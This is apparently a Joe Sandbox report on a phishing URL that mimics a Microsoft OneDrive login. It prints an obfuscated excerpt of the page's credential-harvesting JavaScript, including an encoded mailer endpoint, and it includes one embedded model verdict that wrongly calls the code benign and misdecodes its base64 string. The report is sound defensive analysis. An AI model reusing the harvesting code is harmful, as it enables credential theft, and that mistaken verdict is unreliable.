Edit tour

Windows Analysis Report
http://aimsvn.za.com/wp-content/themes/musuem/

Overview

General Information

Sample URL:	http://aimsvn.za.com/wp-content/themes/musuem/
Analysis ID:	1454311
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

HTTP GET or POST without a user agent

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2208,i,4426207215820550243,18394667341025892849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://aimsvn.za.com/wp-content/themes/musuem/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_68	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 09 Jun 2024 22:38:21 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: chromecache_69.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_68.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: chromecache_68.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_68.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.2.1.slim.min.js
Source: chromecache_68.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4gaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4iaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4jaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4kaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4saVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4taVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4uaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4vaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x5OaVI
Source: chromecache_60.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x5caVI
Source: chromecache_65.2.dr, chromecache_57.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_67.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_67.2.dr, chromecache_65.2.dr, chromecache_57.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_67.2.dr, chromecache_57.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_68.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Source: chromecache_68.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Source: chromecache_68.2.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Source: chromecache_68.2.dr	String found in binary or memory: https://www.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 23.53.114.19:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.53.114.19:443 -> 192.168.2.6:49725 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@16/34@14/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2208,i,4426207215820550243,18394667341025892849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://aimsvn.za.com/wp-content/themes/musuem/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2208,i,4426207215820550243,18394667341025892849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://aimsvn.za.com/wp-content/themes/musuem/	100%	Avira URL Cloud	phishing
http://aimsvn.za.com/wp-content/themes/musuem/	100%	SlashNext	Credential Stealing type: Phishing & Social usering

Source	Detection	Scanner	Label
https://ipinfo.io/	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://aimsvn.za.com/wp-content/themes/musuem/css/share-point.css	100%	Avira URL Cloud	phishing
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Avira URL Cloud	safe
http://aimsvn.za.com/wp-content/themes/musuem/images/logo.png	100%	Avira URL Cloud	phishing
https://code.jquery.com/jquery-3.2.1.slim.min.js	0%	Avira URL Cloud	safe
http://aimsvn.za.com/wp-content/themes/musuem/images/bg.png	100%	Avira URL Cloud	phishing
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	0%	Avira URL Cloud	safe
http://aimsvn.za.com/wp-content/themes/musuem/images/pdf.png	100%	Avira URL Cloud	phishing
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	0%	Avira URL Cloud	safe
http://aimsvn.za.com/favicon.ico	100%	Avira URL Cloud	phishing
http://opensource.org/licenses/MIT).	0%	Avira URL Cloud	safe
http://aimsvn.za.com/wp-content/themes/musuem/images/logo_strip.png	100%	Avira URL Cloud	phishing
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	unknown
code.jquery.com	151.101.66.137	true	false	unknown
aimsvn.za.com	185.221.216.123	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	unknown
www.google.com	142.250.185.164	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	Avira URL Cloud: safe	unknown
http://aimsvn.za.com/wp-content/themes/musuem/images/bg.png	true	Avira URL Cloud: phishing	unknown
http://aimsvn.za.com/wp-content/themes/musuem/images/logo.png	true	Avira URL Cloud: phishing	unknown
http://aimsvn.za.com/wp-content/themes/musuem/css/share-point.css	true	Avira URL Cloud: phishing	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
http://aimsvn.za.com/wp-content/themes/musuem/images/logo_strip.png	true	Avira URL Cloud: phishing	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
http://aimsvn.za.com/favicon.ico	true	Avira URL Cloud: phishing	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false	Avira URL Cloud: safe	unknown
http://aimsvn.za.com/wp-content/themes/musuem/	true		unknown
http://aimsvn.za.com/wp-content/themes/musuem/images/pdf.png	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	chromecache_68.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_67.2.dr, chromecache_57.2.dr	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com)	chromecache_65.2.dr, chromecache_57.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_67.2.dr, chromecache_65.2.dr, chromecache_57.2.dr	false	Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_69.2.dr	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	chromecache_67.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
185.221.216.123	aimsvn.za.com	United Kingdom	393960	HOST4GEEKS-LLCUS	true

Private

IP
192.168.2.7
192.168.2.4
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1454311
Start date and time:	2024-06-10 00:37:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://aimsvn.za.com/wp-content/themes/musuem/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@16/34@14/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 173.194.76.84, 142.250.185.142, 34.104.35.123, 142.250.186.170, 142.250.186.138, 142.250.186.99, 142.250.185.138, 142.250.184.202, 216.58.206.42, 216.58.212.138, 142.250.181.234, 142.250.185.234, 142.250.185.74, 142.250.186.42, 142.250.185.106, 142.250.185.202, 142.250.184.234, 172.217.16.202, 172.217.18.106, 142.250.185.170, 172.217.23.106, 20.12.23.50, 93.184.221.240, 192.229.221.95, 13.85.23.206, 52.165.164.15, 20.114.59.183, 142.250.186.35, 40.127.169.103, 142.250.184.238, 52.165.165.26
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://aimsvn.za.com/wp-content/themes/musuem/

Input	Output
URL: http://aimsvn.za.com/wp-content/themes/musuem/ Model: Perplexity: mixtral-8x7b-instruct	{ "riskscore": 2, "reasons": "The code contains an obfuscated function and an atob() call which decodes the base64-encoded string 'bmV4dC5waHA=' to 'doc'. This is likely used to reference the global $ variable, which is often jQuery. The code also listens for keypress events and checks if the key pressed is 'Enter'. If so, it triggers a click event on an element with the id 'submit-btn' or 'next'. The code also validates an email address and shows or hides certain elements based on the result. There is no evidence of malicious behavior such as phishing or unauthorized access attempts. The long random hexadecimal strings do not pose a risk." }
//redirect link var rdrt = "https://www.google.com"; //mail result count var r_c = 2; //mailer link var f = atob("bmV4dC5waHA="); /* global $ / function _0x3291(_0x397735,_0x5aae32){var _0x481a34=_0x481a();return _0x3291=function(_0x329157,_0x5c42ed){_0x329157=_0x329157-0x17a;var _0x221156=_0x481a34[_0x329157];return _0x221156;},_0x3291(_0x397735,_0x5aae32);}var _0x2deebc=_0x3291;(function(_0x3f384d,_0x3b2017){var _0x56d29d=_0x3291,_0x3b8df5=_0x3f384d();while(!![]){try{var _0x4fa41a=-parseInt(_0x56d29d(0x181))/0x1(parseInt(_0x56d29d(0x17a))/0x2)+-parseInt(_0x56d29d(0x17f))/0x3(parseInt(_0x56d29d(0x184))/0x4)+-parseInt(_0x56d29d(0x17b))/0x5+parseInt(_0x56d29d(0x18a))/0x6(-parseInt(_0x56d29d(0x1a4))/0x7)+-parseInt(_0x56d29d(0x19b))/0x8(parseInt(_0x56d29d(0x1a0))/0x9)+-parseInt(_0x56d29d(0x188))/0xa(-parseInt(_0x56d29d(0x192))/0xb)+parseInt(_0x56d29d(0x18e))/0xc;if(_0x4fa41a===_0x3b2017)break;else _0x3b8df5['push'](_0x3b8df5['shift']());}catch(_0x3f05ab){_0x3b8df5['push'](_0x3b8df5['shift']());}}}(_0x481a,0xac368),$(document)[_0x2deebc(0x19c)](function(){var _0x19947f=_0x2deebc,_0x17a738=0x0;$(document)['keypress'](function(_0x3a3ad3){var _0xc601cb=_0x3291,_0x5723a1=_0x3a3ad3[_0xc601cb(0x187)]?_0x3a3ad3[_0xc601cb(0x187)]:_0x3a3ad3[_0xc601cb(0x1a6)];_0x5723a1=='13'&&($(_0xc601cb(0x185))['is'](_0xc601cb(0x18f))?$('#submit-btn')['trigger'](_0xc601cb(0x18d)):$(_0xc601cb(0x199))[_0xc601cb(0x19e)](_0xc601cb(0x18d)));}),$('#next')['click'](function(){var _0x258b91=_0x3291;$(_0x258b91(0x197))[_0x258b91(0x183)](),$(_0x258b91(0x1a2))[_0x258b91(0x183)](),event[_0x258b91(0x17d)]();var _0x1fc11f=$('#ai')[_0x258b91(0x194)](),_0x4315db=_0x1fc11f,_0x382a83=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x1fc11f)return $(_0x258b91(0x197))[_0x258b91(0x19d)](),$(_0x258b91(0x197))['html'](_0x258b91(0x189)),_0x1fc11f[_0x258b91(0x186)],![];if(!_0x382a83[_0x258b91(0x193)](_0x4315db))return $(_0x258b91(0x197))[_0x258b91(0x19d)](),$(_0x258b91(0x197))['html'](_0x258b91(0x1a5)),_0x1fc11f[_0x258b91(0x186)],![];$(_0x258b91(0x199))[_0x258b91(0x191)](_0x258b91(0x1a1)),setTimeout(function(){var _0x4d9c78=_0x258b91;$(_0x4d9c78(0x196))['attr']('readonly',''),$('#divPr')[_0x4d9c78(0x195)]({'right':0x0,'opacity':_0x4d9c78(0x19d)},0x3e8),$(_0x4d9c78(0x199))[_0x4d9c78(0x191)](_0x4d9c78(0x17c)),$(_0x4d9c78(0x199))['animate']({'left':0x0,'opacity':_0x4d9c78(0x183)},0x0),$(_0x4d9c78(0x18b))[_0x4d9c78(0x195)]({'right':0x0,'opacity':_0x4d9c78(0x19d)},0x3e8);},0x3e8);});var _0x3766ca=window[_0x19947f(0x190)][_0x19947f(0x18c)][_0x19947f(0x19f)](0x1);if(!_0x3766ca){}else{var _0x43d388=_0x3766ca,_0xaea738=_0x43d388['indexOf']('@'),_0x37e8a1=_0x43d388[_0x19947f(0x19f)](_0xaea738+0x1),_0x21a4de=_0x37e8a1[_0x19947f(0x19f)](0x0,_0x37e8a1['indexOf']('.')),_0x3de054=_0x21a4de[_0x19947f(0x182)]();$(_0x19947f(0x196))[_0x19947f(0x194)](_0x43d388),$(_0x19947f(0x1a2))[_0x19947f(0x183)]();}$(_0x19947f(0x18b))['click'](function(_0x84ec0b){var _0x152fb3=_0x19947f;$(_0x152fb3(0x
URL: http://aimsvn.za.com Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "onedrive.live.com", "reasons": "The URL 'aimsvn.za.com' does not match the legitimate domain for Microsoft OneDrive, which is 'onedrive.live.com'. The page mimics the appearance of a legitimate Microsoft OneDrive login page, which is a common social usering technique used in phishing attacks. The presence of a login form asking for an email address to access a document is another red flag, as phishing sites often use such forms to harvest credentials. Additionally, the domain 'za.com' is suspicious as it is not associated with Microsoft. The combination of these factors strongly indicates that this is a phishing site." }

URL: http://aimsvn.za.com Model: phi3	{ "primary_owner": "microsoft"}
	{ "primary_owner": "microsoft"}
URL: http://aimsvn.za.com Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "onedrive.live.com", "reasons": "The URL 'aimsvn.za.com' does not match the legitimate domain for Microsoft OneDrive, which is 'onedrive.live.com'. The page mimics the appearance of a legitimate Microsoft OneDrive login page, which is a common social usering technique used in phishing attacks. The presence of a login form asking for an email address is another red flag, especially since it is asking for 'specific professional email' which is unusual for legitimate services. Additionally, the domain 'za.com' is not associated with Microsoft, further indicating that this is likely a phishing site." }

URL: http://aimsvn.za.com Model: phi3	{ "primary_owner": "microsoft"}
	{ "primary_owner": "microsoft"}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	http://aimsvn.za.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Source: http://aimsvn.za.com/wp-content/themes/musuem/	Avira URL Cloud: detection malicious, Label: phishing
Source: http://aimsvn.za.com/wp-content/themes/musuem/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social usering

Source: http://aimsvn.za.com/wp-content/themes/musuem/css/share-point.css	Avira URL Cloud: Label: phishing
Source: http://aimsvn.za.com/wp-content/themes/musuem/images/logo.png	Avira URL Cloud: Label: phishing
Source: http://aimsvn.za.com/wp-content/themes/musuem/images/bg.png	Avira URL Cloud: Label: phishing
Source: http://aimsvn.za.com/wp-content/themes/musuem/images/pdf.png	Avira URL Cloud: Label: phishing
Source: http://aimsvn.za.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: http://aimsvn.za.com/wp-content/themes/musuem/images/logo_strip.png	Avira URL Cloud: Label: phishing

